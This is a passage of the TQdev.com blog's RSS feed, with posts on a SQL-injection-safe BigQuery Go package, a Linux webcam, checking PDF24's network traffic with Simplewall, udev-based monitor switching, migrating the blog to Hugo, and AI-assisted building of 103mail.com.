<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="nx">q</span> <span class="o">:=</span> <span class="nx">client</span><span class="p">.</span><span class="nf">Query</span><span class="p">(</span><span class="s">&#34;SELECT * FROM $table WHERE id = @id&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nx">q</span><span class="p">.</span><span class="nx">Parameters</span> <span class="p">=</span> <span class="p">[]</span><span class="nx">bigquery</span><span class="p">.</span><span class="nx">QueryParameter</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span><span class="nx">Name</span><span class="p">:</span> <span class="s">&#34;$table&#34;</span><span class="p">,</span> <span class="nx">Value</span><span class="p">:</span> <span class="s">&#34;my-table&#34;</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span><span class="nx">Name</span><span class="p">:</span> <span class="s">&#34;@id&#34;</span><span class="p">,</span> <span class="nx">Value</span><span class="p">:</span> <span class="mi">1</span><span class="p">},</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>The <code>$</code> parameters are handled by saferbq, while <code>@</code> and <code>?</code> parameters are
handled by BigQuery&rsquo;s standard parameterized query mechanism. This approach
ensures identifiers are safely quoted while preserving the security benefits of
parameterized queries for data values.</p>
<h3 id="conclusion">Conclusion</h3>
<p>SQL injection remains one of the most critical security vulnerabilities. When
official SDKs don&rsquo;t provide safe mechanisms for common use cases, developers
will be tempted to use unsafe string concatenation. The BigQuery SDK supports
parameterized queries for data values, but not for identifiers. The saferbq
package is a drop-in replacement that maintains the same API while adding that
extra safety.</p>
<p>See:
<a href="https://github.com/mevdschee/saferbq">https://github.com/mevdschee/saferbq</a></p>
<p>Enjoy!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://pkg.go.dev/cloud.google.com/go/bigquery">Google - BigQuery Go SDK</a></li>
<li><a href="https://docs.cloud.google.com/bigquery/docs/parameterized-queries">Google - BigQuery Parameterized Queries</a></li>
<li><a href="https://cloud.google.com/bigquery/docs/reference/standard-sql/lexical">Google - BigQuery Identifiers</a></li>
<li><a href="https://cloud.google.com/bigquery/docs/reference/standard-sql/query-syntax">Google - BigQuery Standard SQL Reference</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Using the AnkerWork C310 webcam on Linux</title>
      <link>https://www.tqdev.com/2025-ankerwork-c310-webcam-linux/</link>
      <pubDate>Sun, 07 Dec 2025 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-ankerwork-c310-webcam-linux/</guid>
      <description>&lt;p&gt;I recently upgraded the webcam of my main Linux machine from an Ankerwork C200
(2k webcam) to an Ankerwork C310 (4k webcam). The C200 worked pretty well out of
the box without having to update firmware or adjust settings in Windows or on
MacOS. Unfortunately the C310 was showing a very overexposed picture that was
only fixed by moving my face out of the center of the (captured) image. This led
me to believe that some option of the Ankerwork C310 was turned on that should
have been turned off.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I recently upgraded the webcam of my main Linux machine from an Ankerwork C200
(2k webcam) to an Ankerwork C310 (4k webcam). The C200 worked pretty well out of
the box without having to update firmware or adjust settings in Windows or on
MacOS. Unfortunately the C310 was showing a very overexposed picture that was
only fixed by moving my face out of the center of the (captured) image. This led
me to believe that some option of the Ankerwork C310 was turned on that should
have been turned off.</p>
<h3 id="software-adjustment-required">Software adjustment required</h3>
<p>And indeed, when I toggled the &ldquo;Exposure smoothing&rdquo; to &ldquo;Off&rdquo; on a non-Linux PC
and then connected the webcam back to the Linux PC the picture was perfect!</p>
<p>
  
    <img src="/uploads/2025/ankerwork-c310-settings_hu_c5596c37ab6b63a0.webp" alt="ankerwork-c310-webcam-settings" width="448" style="max-width: 448px;" />
  
</p>
<h3 id="low-light-performance">Low-light performance</h3>
<p>This 4k webcam is quite affordable, while having extremely good low-light
performance. I prefer not to bother with lighting at all when doing video
conferencing and for that this camera is perfect. There are better cameras
available, but I was very happy with my C200 and I&rsquo;m even more happy with my
C310. It has a better sharper image, which is to be expected in a 4k vs 2k
model. The only downside I could find is that the device is a little larger than
the C200. Great value for the money at EUR 75. Here is a frame from a
browser-based video stream in 1920x1080 mode (no configuration, bad lighting):</p>
<p>
  
    <img src="/uploads/2025/ankerwork-c310-sample-8x_hu_8bd589f742f186b3.webp" alt="ankerwork-c310-webcam-sample-8x"  />
  
</p>
<h3 id="conclusion">Conclusion</h3>
<p>The AnkerWork C310 is an excellent 4K webcam for Linux users, offering great
value at EUR 75. While it requires a quick settings adjustment on another OS to
disable &ldquo;Exposure smoothing&rdquo;, once configured it delivers sharp images with
outstanding low-light performance. If you&rsquo;re looking for a reliable webcam that
doesn&rsquo;t require additional settings or lighting for video calls, the C310 is a
solid upgrade from the already capable C200.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=eTFmsMv9qXs">YouTube - Anker PowerConf C200 vs AnkerWork C310</a></li>
<li><a href="https://www.digitalcameraworld.com/reviews/ankerwork-c310-review">DigitalCameraWorld - AnkerWork C310 review: A great value 4K webcam</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Evaluating PDF24 Toolbox with Simplewall</title>
      <link>https://www.tqdev.com/2025-evaluating-pdf24-toolbox-simplewall/</link>
      <pubDate>Fri, 05 Dec 2025 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-evaluating-pdf24-toolbox-simplewall/</guid>
      <description>&lt;p&gt;You can view a PDF in your browser, Firefox does this fast and accurately, no
need for Adobe Reader. But even if you want to edit a PDF, you don&amp;rsquo;t need Adobe
Acrobat. On Linux we can install PDF toolkit with a single &amp;ldquo;sudo apt install
pdftk&amp;rdquo;. But even on Windows there are some good PDF tools available, like PDF24,
which even costs nothing. With PDF24 you can do all of the following:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>You can view a PDF in your browser, Firefox does this fast and accurately, no
need for Adobe Reader. But even if you want to edit a PDF, you don&rsquo;t need Adobe
Acrobat. On Linux we can install PDF toolkit with a single &ldquo;sudo apt install
pdftk&rdquo;. But even on Windows there are some good PDF tools available, like PDF24,
which even costs nothing. With PDF24 you can do all of the following:</p>
<ul>
<li>Merge PDF - Combine or join multiple files into a single PDF quickly and
easily</li>
<li>Split PDF - Easy to use app to split PDF files quickly and easily</li>
<li>Compress PDF - PDF compressor to reduce the size of PDF files quickly and
easily</li>
<li>Edit PDF - Easy to use online PDF editor to edit PDF files</li>
<li>Sign PDF - Add a signature to a PDF document</li>
<li>PDF Converter - Convert files to PDF and from PDF to other file formats</li>
<li>Images to PDF - User friendly web app to convert photos and other images to
PDF quickly and easily</li>
<li>PDF to images - User friendly web app to convert PDF files to JPG and other
images quickly and easily</li>
<li>Extract PDF images - Easy to use app to extract all embedded images from PDF
files</li>
<li>Protect PDF - Lock PDF files with a password and set permissions</li>
<li>Unlock PDF - Remove PDF password from PDF files online</li>
<li>Rotate PDF pages - Easy to use app to rotate PDF pages quickly and easily</li>
<li>Remove PDF pages - Easy to use app to delete pages from PDF files quickly and
easily</li>
<li>Extract PDF pages - Easy to use app to extract pages from PDF files quickly
and easily</li>
<li>Rearrange PDF pages - Easy to use app for moving pages in PDF files quickly
and easily</li>
<li>Webpage to PDF - Convert a web page via URL to PDF</li>
<li>Create PDF job application - Create an online job application based on cover
letter, CV and attachments</li>
<li>Create PDF with a camera - Online PDF Scanner for creating PDF files with a
camera</li>
<li>PDF OCR - Recognize text via OCR and create searchable PDF files</li>
<li>Add watermark - Add a watermark or text as protection to your PDF files</li>
<li>Add page numbers - Free and easy to use tool to add page numbers to PDF files</li>
<li>PDF Overlay - Overlay PDFs, e.g. to combine documents with a digital paper</li>
<li>Compare PDFs - Compare PDF files and see the differences</li>
<li>Web optimize PDF - Linearize PDF files to optimize for fast web view</li>
<li>Annotate PDF - Annotate PDF files by highlighting and adding text, images or
shapes</li>
<li>Redact PDF - Blacken areas in PDF files to make them unrecognizable</li>
<li>Create electronic invoice - Generator for creating electronic invoices like
XRechnung and ZUGFeRD</li>
<li>Create PDF - Create PDF files quickly and easily with PDF24 (e.g. via
printing)</li>
<li>PDF to Word - User friendly web app to convert PDF to Word quickly and easily</li>
<li>JPG to PDF - User friendly web app to convert JPG files to PDF quickly and
easily</li>
</ul>
<p>While PDF24 works online, via the website, you may also install the software on
your PC for better privacy. This is what PDF24 claims:</p>
<blockquote>
<p>&ldquo;The PDF24 Creator is a desktop solution that works offline. Files remain
locally on your PC and are NOT uploaded to the Internet. The topic of data
protection or GDPR is therefore not a problem.&rdquo;</p></blockquote>
<p>To me, this sounded too good to be true, so I did what any security-minded
person would do: investigate that claim.</p>
<h3 id="simplewall---definitely-for-advanced-users">Simplewall - Definitely for advanced users.</h3>
<p>Simplewall is firewall software that uses Windows Filtering Platform (WFP) to
filter network activity on your computer. Once activated it pops up on every
network access and asks you to allow or deny. I downloaded and installed PDF24
and merged two sample PDFs. I used Simplewall to detect network traffic
originating from PDF24 and I was pleased that it didn&rsquo;t detect any.</p>
<p>
  
    <img src="/uploads/2025/pdf24-simplewall-test_hu_2d2547601c613710.webp" alt="pdf24-simplewall-test"  />
  
</p>
<p>I know that this is not a guarantee that it would never send any network
traffic, but it is true that it does its computation offline and that the PDFs
are not sent over the network for remote processing.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Simplewall and PDF24 are two great packages that I both recommend. Simplewall is
great for detecting privacy leaks. PDF24 is great for everyday PDF editing and
it does not only do what it should, it is very user-friendly and it does not
cost money. It is made by &ldquo;2025 Geek Software GmbH&rdquo; a company that certainly
lives up to their slogan &ldquo;We love PDF&rdquo;.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://tools.pdf24.org/en/">PDF24 Tools - Free and easy-to-use online PDF tools that make you more productive</a></li>
<li><a href="https://github.com/henrypp/simplewall">Github.com - Simplewall - Definitely for advanced users</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>USB-Soft-KVM: monitor switching with DDC/CI</title>
      <link>https://www.tqdev.com/2025-usb-soft-kvm-monitor-switching-ddc-ci/</link>
      <pubDate>Sat, 22 Nov 2025 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-usb-soft-kvm-monitor-switching-ddc-ci/</guid>
      <description>&lt;p&gt;USB-Soft-KVM is a lightweight Linux solution that turns a simple USB switch into
a full-featured KVM solution. By combining an inexpensive USB switch with
software-based monitor switching via DDC/CI, you get complete
keyboard-video-mouse control on a budget. This software solution automatically
switches your monitor&amp;rsquo;s input source using DDC/CI commands over the I2C bus
whenever you toggle the USB switch by responding to USB device connection
events. It&amp;rsquo;s perfect for users with a laptop and desktop sharing one monitor.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>USB-Soft-KVM is a lightweight Linux solution that turns a simple USB switch into
a full-featured KVM solution. By combining an inexpensive USB switch with
software-based monitor switching via DDC/CI, you get complete
keyboard-video-mouse control on a budget. This software solution automatically
switches your monitor&rsquo;s input source using DDC/CI commands over the I2C bus
whenever you toggle the USB switch by responding to USB device connection
events. It&rsquo;s perfect for users with a laptop and desktop sharing one monitor.</p>
<p>
  
    <img src="/uploads/2025/usb-soft-kvm-setup_hu_69a62305c0db6365.webp" alt="USB-Soft-KVM setup"  />
  
</p>
<p><a href="https://github.com/mevdschee/usb-soft-kvm">https://github.com/mevdschee/usb-soft-kvm</a></p>
<h3 id="the-problem-it-solves">The problem it solves</h3>
<p>Hardware KVM switches with integrated monitor switching typically cost much more
than basic USB switches, which may cost as little as EUR 10. Many people already
use USB switches to share keyboards and mice between two computers, but they&rsquo;re
forced to manually press the monitor&rsquo;s input button every time they toggle
peripherals. USB-Soft-KVM bridges this gap, transforming an inexpensive USB
switch into a complete KVM solution by adding automated monitor switching.</p>
<h3 id="how-it-works">How it works</h3>
<p>The solution uses udev rules to detect USB device connection and disconnection
events. When your keyboard is plugged in (meaning the USB switch is pointing to
the desktop), a udev rule triggers a script that sends a DDC/CI command to
switch the monitor to DisplayPort. When the keyboard is disconnected (USB switch
toggled to the laptop), another udev rule switches the monitor to HDMI. The
monitor responds to these commands via the I2C bus that&rsquo;s already built into
your video cable. No extra wiring needed beyond what you already have.</p>
<h3 id="hardware-requirements">Hardware requirements</h3>
<p>You need a monitor with DDC/CI support, which includes most modern displays. The
key component is a USB switch to toggle peripherals between computers. Your
desktop PC must have I2C bus access, which is standard on Linux systems. The
laptop doesn&rsquo;t need any special configuration since the udev rules only run on
the desktop.</p>
<h3 id="choosing-a-usb-switch">Choosing a USB switch</h3>
<p>You can choose between two approaches:</p>
<p>
  
    <img src="/uploads/2025/usb-switch-options_hu_db404791c234aef1.webp" alt="USB switch options"  />
  
</p>
<ul>
<li><strong>Option 1</strong>: USB switch with built-in hub</li>
<li><strong>Option 2</strong>: Bidirectional USB switch (if you already have a hub)</li>
</ul>
<p>Choose based on your setup: if you already have a hub, a simple bidirectional
switch works great. Otherwise, get a switch with built-in hub. Consider how many
USB ports you need and whether you require USB 3.0 speeds or if USB 2.0 is
sufficient.</p>
<h3 id="installation-and-configuration">Installation and configuration</h3>
<p>Setup requires identifying three things: your I2C device path, your monitor&rsquo;s
input source values, and your keyboard&rsquo;s USB vendor and product IDs. Running
<code>sudo ddccontrol -p</code> reveals the I2C device and available input sources with
their numeric values. Running <code>lsusb</code> shows your keyboard&rsquo;s vendor and product
IDs in the format <code>idVendor:idProduct</code>. You edit these values into the udev
rules. The entire process takes less than 5 minutes.</p>
<p>It basically boils down to this one file
<code>/etc/udev/rules.d/90-usb-soft-kvm.rules</code> that contains <code>04d9</code> and <code>a231</code> as the
USB device <code>16</code> and <code>18</code> as the input sources and <code>dev:/dev/i2c-12</code> as the
monitor&rsquo;s I2C device (in my case).</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ cat /etc/udev/rules.d/90-usb-soft-kvm.rules
</span></span><span class="line"><span class="cl"><span class="nv">ACTION</span><span class="o">==</span><span class="s2">&#34;add&#34;</span>, ATTRS<span class="o">{</span>idVendor<span class="o">}==</span><span class="s2">&#34;04d9&#34;</span>, ATTRS<span class="o">{</span>idProduct<span class="o">}==</span><span class="s2">&#34;a231&#34;</span>, <span class="nv">RUN</span><span class="o">+=</span><span class="s2">&#34;/usr/bin/ddccontrol -r 0x60 -w 16 dev:/dev/i2c-12&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">ACTION</span><span class="o">==</span><span class="s2">&#34;remove&#34;</span>, ATTRS<span class="o">{</span>idVendor<span class="o">}==</span><span class="s2">&#34;04d9&#34;</span>, ATTRS<span class="o">{</span>idProduct<span class="o">}==</span><span class="s2">&#34;a231&#34;</span>, <span class="nv">RUN</span><span class="o">+=</span><span class="s2">&#34;/usr/bin/ddccontrol -r 0x60 -w 18 dev:/dev/i2c-12&#34;</span>
</span></span></code></pre></div><h3 id="reliability-in-practice">Reliability in practice</h3>
<p>The udev rules respond immediately to USB device events, providing almost
instant monitor switching when you toggle the USB switch. DDC/CI commands are
inherently reliable since they&rsquo;re part of the VESA standard, though some cheaper
monitors may take a second or two to respond. In daily use the switching is
seamless enough that you stop thinking about it. Udev events are logged to the
system journal, making troubleshooting straightforward if something goes wrong.</p>
<h3 id="limitations-and-future-work">Limitations and future work</h3>
<p>The most important limitation is that this solution only works with two devices.
The current implementation detects the presence or absence of a keyboard to
toggle between two predetermined monitor inputs. Supporting three or more
devices would require a different approach, where each device would need its own
script to change the input source of the monitor. This solution currently only
works on a Linux desktop because it relies on direct I2C device access and udev
event handling. Also, the desktop PC must remain powered on for switching to
work, since that&rsquo;s where the udev rules run. While the solution is Linux only,
the connected laptop may also run Windows or MacOS. Porting the desktop support
from Linux to Windows or Mac would be nice follow-up work, also adding a GUI for
all 3 major platforms would be a nice addition.</p>
<h3 id="conclusion">Conclusion</h3>
<p>USB-Soft-KVM delivers full KVM functionality by combining a cheap USB switch
with software-based monitor switching. This represents significant savings over
traditional hardware KVM switches, making it an attractive option for
budget-conscious users. If you run Linux on the desktop and have a
DDC/CI-capable monitor, the software is free and installation takes less than 5
minutes. It is a joy to use!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://github.com/mevdschee/usb-soft-kvm">Github - USB-Soft-KVM - source code</a></li>
<li><a href="https://en.wikipedia.org/wiki/Display_Data_Channel#DDC/CI">Wikipedia - DDC/CI - Display Data Channel / Command Interface standard</a></li>
<li><a href="https://github.com/ddccontrol/ddccontrol">Github - ddccontrol - Linux tool for monitor control</a></li>
<li><a href="https://www.freedesktop.org/software/systemd/man/udev.html">FreeDesktop.org - Udev device management</a></li>
<li><a href="https://xpufx.com/posts/hundred-percent-software-kvm-switch/">xpufx - 100% Software KVM switch with a single monitor</a></li>
<li><a href="https://drew.onl/posts/swap-monitor/">drew.onl - How to swap monitor inputs between two computers (without pressing monitor buttons)</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Migrating the TQdev.com blog to Hugo</title>
      <link>https://www.tqdev.com/2025-tqdev-com-static-website-hugo/</link>
      <pubDate>Thu, 20 Nov 2025 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-tqdev-com-static-website-hugo/</guid>
      <description>&lt;p&gt;In 2016 I wrote &amp;ldquo;My name is Maurits van der Schee and I love thinking about
software architecture and building high traffic web applications&amp;rdquo; in
&lt;a href=&#34;https://www.tqdev.com/2016-welcome-at-tqdev-com&#34;&gt;my first TQdev.com post&lt;/a&gt; when I migrated from
WordPress to a self-written PHP blog platform. I wrote &amp;ldquo;I love the idea of
gradually (while writing posts) making this blogging software feature complete&amp;rdquo;.
It was an experiment that lasted for 9 years and most of the time everything was
working great. I&amp;rsquo;ve spent a lot of time writing articles and almost no time
improving the blogging software. Now, 9 years later, it was time for another
migration.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In 2016 I wrote &ldquo;My name is Maurits van der Schee and I love thinking about
software architecture and building high traffic web applications&rdquo; in
<a href="/2016-welcome-at-tqdev-com">my first TQdev.com post</a> when I migrated from
WordPress to a self-written PHP blog platform. I wrote &ldquo;I love the idea of
gradually (while writing posts) making this blogging software feature complete&rdquo;.
It was an experiment that lasted for 9 years and most of the time everything was
working great. I&rsquo;ve spent a lot of time writing articles and almost no time
improving the blogging software. Now, 9 years later, it was time for another
migration.</p>
<h3 id="ai-tools-love-markdown-files">AI tools love Markdown files</h3>
<p>This time, the reason for migrating was different. Recently I&rsquo;ve fallen in love
with AI generative tooling and that&rsquo;s why I decided to switch this blog to a Git
based approach and to the (to me familiar) Hugo static site generator (SSG).
With this file based Markdown approach I can quickly let AI run through my
posts, check for errors and do quick checks for consistency. Whenever I need to
edit hundreds of files I let AI write small scripts to do the tasks I want it to
do. Having all your posts version controlled in Git and in Markdown files on a
local disk makes a huge difference. I could ask an AI agent to download all
images for all posts from Imgur to the &ldquo;static/img&rdquo; folder and update all
references to them. Also an agent was able to convert all code with HTML
code-coloring to proper Markdown code blocks with the right language annotation.</p>
<h3 id="why-not-zola">Why not Zola?</h3>
<p>You might wonder why I chose Hugo when there are other options. In 2023 I wrote
the popular article
&ldquo;<a href="https://www.tqdev.com/2023-zola-ssg-is-4x-faster-than-hugo/">Zola SSG is 4x faster than Hugo</a>&rdquo;
and you may ask why I switched to Hugo and not to Zola. Zola is faster and
easier to use as you can read in the article. The reason is that Hugo is still
more popular: Hugo has 84k stars on Github and Zola &ldquo;only&rdquo; 16k stars. Another
reason is that my brother (who owns and runs
<a href="https://www.usecue.com/">UseCue web development</a>) is a great fan of the Hugo
SSG (so I can ask him questions whenever I get stuck). He is also known as the
creator of <a href="https://cms.usecue.com/">UseCue CMS</a>, a full-featured CMS for Hugo,
so he knows a thing or two about Hugo. Last but not least I&rsquo;ve found a nice Hugo
theme called &ldquo;<a href="https://github.com/adityatelange/hugo-PaperMod/">PaperMod</a>&rdquo; that
I liked for my blog (the one you are seeing now).</p>
<h3 id="new-visitor-counts">New visitor counts</h3>
<p>The migration also gave me an opportunity to improve my analytics. I came up
with a new way of counting visitors. In WordPress I was using a plugin called
&ldquo;Count-Per-Day&rdquo; which counted the number of unique IP addresses that visited
different pages per day. This plugin does no longer exist, but I recreated that
functionality in my own PHP code when writing my own blog platform and that&rsquo;s
how I generated the top 10 list of popular articles that month (and did
analytics in general without Google). In the past 3 months I have seen an
enormous rise in bots visiting my blog. This was skewing the visitor count
heavily, so I came up with another approach: a JavaScript fetch of the footer
content from a PHP script. This way everything on the website is static (except
for the footer) where the analytics are shown (and are collected).</p>
<h3 id="future-of-tqdevcom">Future of TQdev.com</h3>
<p>With all these technical improvements in place, what does this mean for this
blog? For one, I&rsquo;ll never let AI write my blog articles, nevertheless I will let
AI proof read for spelling mistakes or let it suggest style changes. This allows
me to write faster and better. Like with code or documentation the author stays
responsible for the tone, relevance and quality of what is written. You will see
that the visitor count will be a lot lower as search engine bots (and the new AI
bots) are no longer counted as visitors due to the new JavaScript method of
creating analytics. RSS readers (the feed still has the full articles) are also
no longer counted as visitors. This blog stays Big Tech free and I&rsquo;m proud that
I&rsquo;m not buying analytics from Google at the cost of your privacy.</p>
<p>I hope you enjoyed reading about this migration. Also do check back regularly as
there&rsquo;s always something new in the works!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Creating 103mail.com - Update 3</title>
      <link>https://www.tqdev.com/2025-creating-103mail-com-update-3/</link>
      <pubDate>Tue, 18 Nov 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-creating-103mail-com-update-3/</guid>
      <description>&lt;p&gt;I am still building a free email service that respects privacy and prevents
profiling on &lt;a href=&#34;https://103mail.com&#34;&gt;103mail.com&lt;/a&gt;. I started this effort in 2024
and have been building slowly since (because work and life happens). I have
reached a new milestone and it is thanks to SDD (Spec Driven Development with
SpecKit) and AI (VSCode + Copilot + Claude Sonnet 4.5) that I have made good
progress lately. In this post I&amp;rsquo;ll explain to you a bit about my way of working
and about the progress.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I am still building a free email service that respects privacy and prevents
profiling on <a href="https://103mail.com">103mail.com</a>. I started this effort in 2024
and have been building slowly since (because work and life happens). I have
reached a new milestone and it is thanks to SDD (Spec Driven Development with
SpecKit) and AI (VSCode + Copilot + Claude Sonnet 4.5) that I have made good
progress lately. In this post I&rsquo;ll explain to you a bit about my way of working
and about the progress.</p>
<h3 id="spec-driven-development-with-speckit">Spec Driven Development with SpecKit</h3>
<p>So I went into my project folder and I typed:</p>
<blockquote>
<p><strong>@speckit.specify</strong> Build a messaging system that looks like E-mail. It does
not actually send email out, only notifications. It does not allow forwarding
threads, only subscribe to the thread. Users that are not in the system
receive an email that they have become a member and that a message is waiting
for them.</p></blockquote>
<p>And the &ldquo;001-internal-messaging/spec.md&rdquo; file was created and it also created a
&ldquo;001-internal-messaging/data-model.md&rdquo; file. The file was full of great
specification that would have taken me hours to write. I then asked it to split
the spec for &ldquo;001-internal-messaging&rdquo; from the calendaring functionality
&ldquo;002-calendaring&rdquo; and even asked it to come up with &ldquo;003-real-time-chat&rdquo;
including a data model. Since it already had the proper context of the other
features it was doing real magic!</p>
<p>Here is an excerpt from the constitution.md file it generated for the project:</p>
<blockquote>
<h3 id="core-principles">Core Principles</h3>
<h4 id="i-content-privacy--non-forwarding">I. Content Privacy &amp; Non-Forwarding</h4>
<p>Message content never leaves the system via email. Threads cannot be
forwarded. External recipients onboard via notification-only emails and secure
links. Quoting creates new independent threads with no backlink.</p>
<h4 id="ii-immutable-message-history">II. Immutable Message History</h4>
<p>Messages are append-only; users cannot delete or rewrite sent content.
Compliance retention purges are controlled, logged, and never silently mutate
historical data.</p>
<h4 id="iii-projection-based-access-control">III. Projection-Based Access Control</h4>
<p>Canonical objects (g_thread, g_message, g_attachment, g_subscription) remain
immutable; per-user projections (thread, message, attachment) carry
read/deleted state. All visibility, search, and permissions derive from
projections + subscription membership. No direct edits of canonical content by
end users.</p></blockquote>
<p>The insights.. amazing aren&rsquo;t they?</p>
<h3 id="using-vscode--copilot--claude-sonnet-45">Using VSCode + Copilot + Claude Sonnet 4.5</h3>
<p>Next I started to tell Claude in Agent mode to implement the missing
functionality of the Calendar API and also create a Chat API from scratch. I
asked it to generate OpenAPI 3 documentation for the API and it did so much in
so little time. I hardly needed to steer it as it had a lot of context.
Sometimes I had to start a new chat in order to avoid summarizing the context.</p>
<p>I made 10 commits over the past 6 hours (after dinner), totaling ~3,800 lines
added and ~440 lines removed.</p>
<p>PHP files modified:</p>
<ul>
<li>ChatApi.php - 307 lines changed (refactoring)</li>
<li>ChatClient.php - 446 new lines (new file)</li>
<li>ChatApiTest.php - 498 new lines (new test file)</li>
<li>CalendarApiTest.php - 247 new lines (new test file)</li>
<li>MailApiTest.php - 160 lines changed</li>
<li>PostmarkApiTest.php - 4 lines changed</li>
<li>CalendarApi.php - 295 new lines</li>
<li>CalendarClient.php - 145 lines added</li>
<li>AuditLog.php - 60 new lines</li>
</ul>
<p>Other files modified:</p>
<ul>
<li>YAML: OpenAPI spec files (~2500 lines, 50% new)</li>
<li>MarkDown: Specification documents (~1300 lines, 75% new)</li>
<li>SQL: Test data + structure (~800 lines, 25% new)</li>
</ul>
<p>This would have not been possible in one evening without AI. Maybe not
everything is perfect, but it wouldn&rsquo;t have been if I did it manually either.</p>
<h3 id="switching-to-postmark">Switching to Postmark</h3>
<p>Initially, I was planning to run my own mail server using Debian with Postfix
for handling both incoming and outgoing email. However, after considering the
complexity involved in managing email delivery, spam filtering, DKIM/SPF/DMARC
configuration, and maintaining good sender reputation, I decided to switch to
Postmark for now. This allows me to focus on building the main features of
103mail.com. Postmark provides APIs for both sending and receiving email.
Postmark being commercial and from the US doesn&rsquo;t really matter as we use email
only for notifications anyway. Also we can always switch to another service
later (if required).</p>
<h3 id="where-we-stand-now">Where we stand now</h3>
<p>Well, I implemented the calendar and chat data models and their APIs. I still
need to implement calendar and chat in the web client on 103mail.com. You can
see the API I got so far here:</p>
<p><a href="https://www.103mail.com/api">https://www.103mail.com/api</a></p>
<p>It&rsquo;s going to be a blast building this further with my newfound AI-powered
toolkit. If you&rsquo;re excited about this project and want to join the adventure,
reach out: I&rsquo;d love to have you on board.</p>
<p>Enjoy programming!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://speckit.org/">Speckit.org - Build High-Quality Software Faster with Spec Kit</a></li>
<li><a href="https://github.blog/changelog/2025-08-28-copilot-coding-agent-now-supports-agents-md-custom-instructions/">Github.blog - Copilot coding agent now supports AGENTS.md</a></li>
<li><a href="https://postmarkapp.com/inbound-email">PostmarkApp.com - Inbound Email Processing</a></li>
<li><a href="https://tqdev.com/2024-creating-103mail-com-the-plan">TQdev.com - 103mail.com - The plan</a>
(2024-04-11)</li>
<li><a href="https://tqdev.com/2024-creating-103mail-com-update-1">TQdev.com - 103mail.com - Update 1</a>
(2024-04-12)</li>
<li><a href="https://tqdev.com/2025-creating-103mail-com-update-2">TQdev.com - 103mail.com - Update 2</a>
(2025-03-30)</li>
<li>TQdev.com - 103mail.com - Update 3 (2025-11-18)</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Mocking static methods and built-in functions in PHP</title>
      <link>https://www.tqdev.com/2025-mocking-static-methods-built-in-functions-php/</link>
      <pubDate>Sun, 16 Nov 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-mocking-static-methods-built-in-functions-php/</guid>
      <description>&lt;p&gt;Testing code that relies on static methods or built-in functions can be
challenging in PHP. Traditionally, you&amp;rsquo;d have to refactor your code to inject
dependencies or wrap functions in testable interfaces. To allow you to write
clean, maintainable tests without invasive refactors, I created MintyPHP
Mocking.&lt;/p&gt;
&lt;p&gt;It allows you to write things like:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$mock&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;StaticMethodMock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;Adder&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$mock&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;expect&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;add&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
